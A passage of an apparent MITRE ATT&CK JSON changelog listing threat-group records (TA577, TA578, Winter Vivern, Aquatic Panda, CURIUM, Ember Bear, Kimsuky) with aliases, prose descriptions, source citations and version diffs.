2023)" + }, + { + "source_name": "COLDRIVER", + "description": "(Citation: Google TAG COLDRIVER January 2024)" + }, + { + "source_name": "SEABORGIUM", + "description": "(Citation: Microsoft Star Blizzard August 2022)" + }, + { + "source_name": "CISA Star Blizzard Advisory December 2023", + "description": "CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a" + }, + { + "source_name": "Microsoft Star Blizzard August 2022", + "description": "Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM\u2019s ongoing phishing operations. Retrieved June 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/" + }, + { + "source_name": "StarBlizzard", + "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/" + }, + { + "source_name": "Google TAG COLDRIVER January 2024", + "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.", + "url": "https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Aung Kyaw Min Naing, @Nolan" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--13ef3485-70d2-4567-b934-0e83c1eafcf1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-17 16:05:53.084000+00:00", + "modified": "2024-09-17 16:07:34.686000+00:00", + "name": "TA577", + "description": "[TA577](https://attack.mitre.org/groups/G1037) is an initial access broker (IAB) that has distributed [QakBot](https://attack.mitre.org/software/S0650) and [Pikabot](https://attack.mitre.org/software/S1145), and was among the first observed groups distributing [Latrodectus](https://attack.mitre.org/software/S1160) in 2023.(Citation: Latrodectus APR 2024)", + "aliases": [ + "TA577" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1037", + "external_id": "G1037" + }, + { + "source_name": "Latrodectus APR 2024", + "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--a5cfbc79-316c-42f2-915d-6e8fef4085f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-17 17:55:44.833000+00:00", + "modified": "2024-09-17 17:55:58.333000+00:00", + "name": "TA578", + "description": "[TA578](https://attack.mitre.org/groups/G1038) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute malware including [Latrodectus](https://attack.mitre.org/software/S1160), [IcedID](https://attack.mitre.org/software/S0483), and [Bumblebee](https://attack.mitre.org/software/S1039).(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)", + "aliases": [ + "TA578" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1038", + "external_id": "G1038" + }, + { + "source_name": "Bitsight Latrodectus June 2024", + "description": "Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.", + "url": "https://www.bitsight.com/blog/latrodectus-are-you-coming-back" + }, + { + "source_name": "Latrodectus APR 2024", + "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-07-29 22:23:03.779000+00:00", + "modified": "2024-10-10 14:33:40.986000+00:00", + "name": "Winter Vivern", + "description": "Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.(Citation: DomainTools WinterVivern 2021)(Citation: SentinelOne WinterVivern 2023)(Citation: CERT-UA WinterVivern 2023)(Citation: ESET WinterVivern 2023)(Citation: Proofpoint WinterVivern 2023)", + "aliases": [ + "Winter Vivern", + "TA473", + "UAC-0114" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1035", + "external_id": "G1035" + }, + { + "source_name": "UAC-0114", + "description": "(Citation: CERT-UA WinterVivern 2023)" + }, + { + "source_name": "TA473", + "description": "(Citation: Proofpoint WinterVivern 2023)" + }, + { + "source_name": "CERT-UA WinterVivern 2023", + "description": "CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.", + "url": "https://cert.gov.ua/article/3761104" + }, + { + "source_name": "DomainTools WinterVivern 2021", + "description": "Chad Anderson. (2021, April 27). Winter Vivern: A Look At Re-Crafted Government MalDocs Targeting Multiple Languages. Retrieved July 29, 2024.", + "url": "https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/" + }, + { + "source_name": "ESET WinterVivern 2023", + "description": "Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.", + "url": "https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/" + }, + { + "source_name": "Proofpoint WinterVivern 2023", + "description": "Michael Raggi & The Proofpoint Threat Research Team. (2023, March 30). Exploitation is a Dish Best Served Cold: Winter Vivern Uses Known Zimbra Vulnerability to Target Webmail Portals of NATO-Aligned Governments in Europe. Retrieved July 29, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/exploitation-dish-best-served-cold-winter-vivern-uses-known-zimbra-vulnerability" + }, + { + "source_name": "SentinelOne WinterVivern 2023", + "description": "Tom Hegel. (2023, March 16). Winter Vivern | Uncovering a Wave of Global Espionage. Retrieved July 29, 2024.", + "url": "https://www.sentinelone.com/labs/winter-vivern-uncovering-a-wave-of-global-espionage/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Onur Atali" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-01-18 14:49:29.505000+00:00", + "modified": "2024-10-10 14:31:59.099000+00:00", + "name": "Aquatic Panda", + "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) is a suspected China-based threat group with a dual mission of intelligence collection and industrial espionage. Active since at least May 2020, [Aquatic Panda](https://attack.mitre.org/groups/G0143) has primarily targeted entities in the telecommunications, technology, and government sectors.(Citation: CrowdStrike AQUATIC PANDA December 2021)", + "aliases": [ + "Aquatic Panda" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0143", + "external_id": "G0143" + }, + { + "source_name": "CrowdStrike AQUATIC PANDA December 2021", + "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.", + "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "NST Assure Research Team, NetSentries Technologies", + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation", + "Manikantan Srinivasan, NEC Corporation India", + "Jai Minton, CrowdStrike", + "Jennifer Kim Roman, CrowdStrike" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-10 14:31:59.099000+00:00\", \"old_value\": \"2023-03-21 21:16:34.243000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Jai Minton, CrowdStrike\", \"root['x_mitre_contributors'][5]\": \"Jennifer Kim Roman, CrowdStrike\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-01-13 20:51:13.494000+00:00", + "modified": "2024-10-02 12:13:42.278000+00:00", + "name": "CURIUM", + "description": "[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)", + "aliases": [ + "CURIUM", + "Crimson Sandstorm", + "TA456", + "Tortoise Shell", + "Yellow Liderc" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1012", + "external_id": "G1012" + }, + { + "source_name": "Crimson Sandstorm", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Tortoise Shell", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "TA456", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)(Citation: Proofpoint TA456 Defense Contractor July 2021)" + }, + { + "source_name": "Yellow Liderc", + "description": "(Citation: PWC Yellow Liderc 2023)" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Proofpoint TA456 Defense Contractor July 2021", + "description": "Miller, J. et. al. (2021, July 28). I Knew You Were Trouble: TA456 Targets Defense Contractor with Alluring Social Media Persona. Retrieved March 11, 2024.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media" + }, + { + "source_name": "Microsoft Iranian Threat Actor Trends November 2021", + "description": "MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity \u2013 MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021" + }, + { + "source_name": "PWC Yellow Liderc 2023", + "description": "PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.", + "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html" + }, + { + "source_name": "Symantec Tortoiseshell 2019", + "description": "Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Denise Tan", + "Wirapong Petshagun" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Denise Tan\", \"Wirapong Petshagun\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-02 12:13:42.278000+00:00\", \"old_value\": \"2024-04-17 22:09:00.876000+00:00\"}, \"root['description']\": {\"new_value\": \"[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group, first reported in September 2019 and active since at least July 2018, targeting IT service providers in the Middle East.(Citation: Symantec Tortoiseshell 2019) [CURIUM](https://attack.mitre.org/groups/G1012) has since invested in building relationships with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)\", \"old_value\": \"[CURIUM](https://attack.mitre.org/groups/G1012) is an Iranian threat group first reported in November 2021 that has invested in building a relationship with potential targets via social media over a period of months to establish trust and confidence before sending malware. Security researchers note [CURIUM](https://attack.mitre.org/groups/G1012) has demonstrated great patience and persistence by chatting with potential targets daily and sending benign files to help lower their security consciousness.(Citation: Microsoft Iranian Threat Actor Trends November 2021)\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['aliases'][4]\": \"Yellow Liderc\", \"root['external_references'][4]\": {\"source_name\": \"Yellow Liderc\", \"description\": \"(Citation: PWC Yellow Liderc 2023)\"}, \"root['external_references'][8]\": {\"source_name\": \"PWC Yellow Liderc 2023\", \"description\": \"PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.\", \"url\": \"https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html\"}, \"root['external_references'][9]\": {\"source_name\": \"Symantec Tortoiseshell 2019\", \"description\": \"Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.\", \"url\": \"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[CURIUM](https://attack.mitre.org/groups/G1012) is an Iraniat1[CURIUM](https://attack.mitre.org/groups/G1012) is an Irania
>n threat group first reported in November 2021 that has inve>n threat group, first reported in September 2019 and active 
>sted in building a relationship with potential targets via s>since at least July 2018, targeting IT service providers in 
>ocial media over a period of months to establish trust and c>the Middle East.(Citation: Symantec Tortoiseshell 2019) [CUR
>onfidence before sending malware. Security researchers note >IUM](https://attack.mitre.org/groups/G1012) has since invest
>[CURIUM](https://attack.mitre.org/groups/G1012) has demonstr>ed in building relationships with potential targets via soci
>ated great patience and persistence by chatting with potenti>al media over a period of months to establish trust and conf
>al targets daily and sending benign files to help lower thei>idence before sending malware. Security researchers note [CU
>r security consciousness.(Citation: Microsoft Iranian Threat>RIUM](https://attack.mitre.org/groups/G1012) has demonstrate
> Actor Trends November 2021)>d great patience and persistence by chatting with potential 
 >targets daily and sending benign files to help lower their s
 >ecurity consciousness.(Citation: Microsoft Iranian Threat Ac
 >tor Trends November 2021)
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-06-09 14:49:57.704000+00:00", + "modified": "2024-09-06 21:43:44.941000+00:00", + "name": "Ember Bear", + "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", + "aliases": [ + "Ember Bear", + "UNC2589", + "Bleeding Bear", + "DEV-0586", + "Cadet Blizzard", + "Frozenvista", + "UAC-0056" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1003", + "external_id": "G1003" + }, + { + "source_name": "DEV-0586", + "description": "(Citation: Cadet Blizzard emerges as novel threat actor)" + }, + { + "source_name": "Cadet Blizzard", + "description": "(Citation: Cadet Blizzard emerges as novel threat actor)" + }, + { + "source_name": "Frozenvista", + "description": "(Citation: CISA GRU29155 2024)" + }, + { + "source_name": "UAC-0056", + "description": "(Citation: CISA GRU29155 2024)" + }, + { + "source_name": "Bleeding Bear", + "description": "(Citation: CrowdStrike Ember Bear Profile March 2022)" + }, + { + "source_name": "UNC2589", + "description": "(Citation: Mandiant UNC2589 March 2022)" + }, + { + "source_name": "CrowdStrike Ember Bear Profile March 2022", + "description": "CrowdStrike. (2022, March 30). Who is EMBER BEAR?. Retrieved June 9, 2022.", + "url": "https://www.crowdstrike.com/blog/who-is-ember-bear/" + }, + { + "source_name": "Cadet Blizzard emerges as novel threat actor", + "description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/" + }, + { + "source_name": "Mandiant UNC2589 March 2022", + "description": "Sadowski, J; Hall, R. (2022, March 4). Responses to Russia's Invasion of Ukraine Likely to Spur Retaliation. Retrieved June 9, 2022.", + "url": "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation" + }, + { + "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", + "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.", + "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/" + }, + { + "source_name": "CISA GRU29155 2024", + "description": "US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.", + "url": "https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Hannah Simes, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-06 21:43:44.941000+00:00\", \"old_value\": \"2023-03-22 03:40:53.311000+00:00\"}, \"root['description']\": {\"new_value\": \"[Ember Bear](https://attack.mitre.org/groups/G1003) is a Russian state-sponsored cyber espionage group that has been active since at least 2020, linked to Russia's General Staff Main Intelligence Directorate (GRU) 161st Specialist Training Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused operations against Ukrainian government and telecommunication entities, but has also operated against critical infrastructure entities in Europe and the Americas.(Citation: Cadet Blizzard emerges as novel threat actor) [Ember Bear](https://attack.mitre.org/groups/G1003) conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: CISA GRU29155 2024) There is some confusion as to whether [Ember Bear](https://attack.mitre.org/groups/G1003) overlaps with another Russian-linked entity referred to as [Saint Bear](https://attack.mitre.org/groups/G1031). At present available evidence strongly suggests these are distinct activities with different behavioral profiles.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )\", \"old_value\": \"[Ember Bear](https://attack.mitre.org/groups/G1003) is a suspected Russian state-sponsored cyber espionage group that has been active since at least March 2021. [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused their operations against Ukraine and Georgia, but has also targeted Western European and North American foreign ministries, pharmaceutical companies, and financial sector organizations. Security researchers assess [Ember Bear](https://attack.mitre.org/groups/G1003) likely conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022.(Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) \"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"DEV-0586\", \"old_value\": \"Lorec Bear\", \"new_path\": \"root['external_references'][1]['source_name']\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"(Citation: Cadet Blizzard emerges as novel threat actor)\", \"old_value\": \"(Citation: CrowdStrike Ember Bear Profile March 2022)\", \"new_path\": \"root['external_references'][1]['description']\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: CISA GRU29155 2024)\", \"old_value\": \"(Citation: CrowdStrike Ember Bear Profile March 2022)\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}, \"root['aliases'][5]\": {\"new_value\": \"Frozenvista\", \"old_value\": \"Lorec Bear\"}, \"root['external_references'][3]\": {\"new_value\": {\"source_name\": \"Frozenvista\", \"description\": \"(Citation: CISA GRU29155 2024)\"}, \"old_value\": {\"source_name\": \"Lorec53\", \"description\": \"(Citation: CrowdStrike Ember Bear Profile March 2022)\"}}, \"root['aliases'][4]\": {\"new_value\": \"Cadet Blizzard\", \"old_value\": \"Lorec53\"}}, \"iterable_item_added\": {\"root['aliases'][3]\": \"DEV-0586\", \"root['external_references'][2]\": {\"source_name\": \"Cadet Blizzard\", \"description\": \"(Citation: Cadet Blizzard emerges as novel threat actor)\"}, \"root['external_references'][8]\": {\"source_name\": \"Cadet Blizzard emerges as novel threat actor\", \"description\": \"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.\", \"url\": \"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/\"}, \"root['external_references'][11]\": {\"source_name\": \"CISA GRU29155 2024\", \"description\": \"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.\", \"url\": \"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf\"}}, \"iterable_item_removed\": {\"root['aliases'][1]\": \"Saint Bear\", \"root['external_references'][1]\": {\"source_name\": \"Saint Bear\", \"description\": \"(Citation: CrowdStrike Ember Bear Profile March 2022)\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Ember Bear](https://attack.mitre.org/groups/G1003) is a sust1[Ember Bear](https://attack.mitre.org/groups/G1003) is a Rus
>pected Russian state-sponsored cyber espionage group that ha>sian state-sponsored cyber espionage group that has been act
>s been active since at least March 2021. [Ember Bear](https:>ive since at least 2020, linked to Russia's General Staff Ma
>//attack.mitre.org/groups/G1003) has primarily focused their>in Intelligence Directorate (GRU) 161st Specialist Training 
> operations against Ukraine and Georgia, but has also target>Center (Unit 29155).(Citation: CISA GRU29155 2024) [Ember Be
>ed Western European and North American foreign ministries, p>ar](https://attack.mitre.org/groups/G1003) has primarily foc
>harmaceutical companies, and financial sector organizations.>used operations against Ukrainian government and telecommuni
> Security researchers assess [Ember Bear](https://attack.mit>cation entities, but has also operated against critical infr
>re.org/groups/G1003) likely conducted the [WhisperGate](http>astructure entities in Europe and the Americas.(Citation: Ca
>s://attack.mitre.org/software/S0689) destructive wiper attac>det Blizzard emerges as novel threat actor) [Ember Bear](htt
>ks against Ukraine in early 2022.(Citation: CrowdStrike Embe>ps://attack.mitre.org/groups/G1003) conducted the [WhisperGa
>r Bear Profile March 2022)(Citation: Mandiant UNC2589 March >te](https://attack.mitre.org/software/S0689) destructive wip
>2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February>er attacks against Ukraine in early 2022.(Citation: CrowdStr
> 2022 ) >ike Ember Bear Profile March 2022)(Citation: Mandiant UNC258
 >9 March 2022)(Citation: CISA GRU29155 2024) There is some co
 >nfusion as to whether [Ember Bear](https://attack.mitre.org/
 >groups/G1003) overlaps with another Russian-linked entity re
 >ferred to as [Saint Bear](https://attack.mitre.org/groups/G1
 >031). At present available evidence strongly suggests these 
 >are distinct activities with different behavioral profiles.(
 >Citation: Cadet Blizzard emerges as novel threat actor)(Cita
 >tion: Palo Alto Unit 42 OutSteel SaintBot February 2022 )
" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-26 15:03:02.577000+00:00", + "modified": "2024-10-10 14:32:27.067000+00:00", + "name": "Kimsuky", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korea-based cyber espionage group that has been active since at least 2012. The group initially focused on targeting South Korean government entities, think tanks, and individuals identified as experts in various fields, and expanded its operations to include the UN and the government, education, business services, and manufacturing sectors in the United States, Japan, Russia, and Europe. [Kimsuky](https://attack.mitre.org/groups/G0094) has focused its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions. [Kimsuky](https://attack.mitre.org/groups/G0094) operations have overlapped with those of other North Korean cyber espionage actors likely as a result of ad hoc collaborations or other limited resource sharing.(Citation: EST Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: CISA AA20-301A Kimsuky)(Citation: Mandiant APT43 March 2024)(Citation: Proofpoint TA427 April 2024)\n\n[Kimsuky](https://attack.mitre.org/groups/G0094) was assessed to be responsible for the 2014 Korea Hydro & Nuclear Power Co. compromise; other notable campaigns include Operation STOLEN PENCIL (2018), Operation Kabar Cobra (2019), and Operation Smoke Screen (2019).(Citation: Netscout Stolen Pencil Dec 2018)(Citation: EST Kimsuky SmokeScreen April 2019)(Citation: AhnLab Kimsuky Kabar Cobra Feb 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean 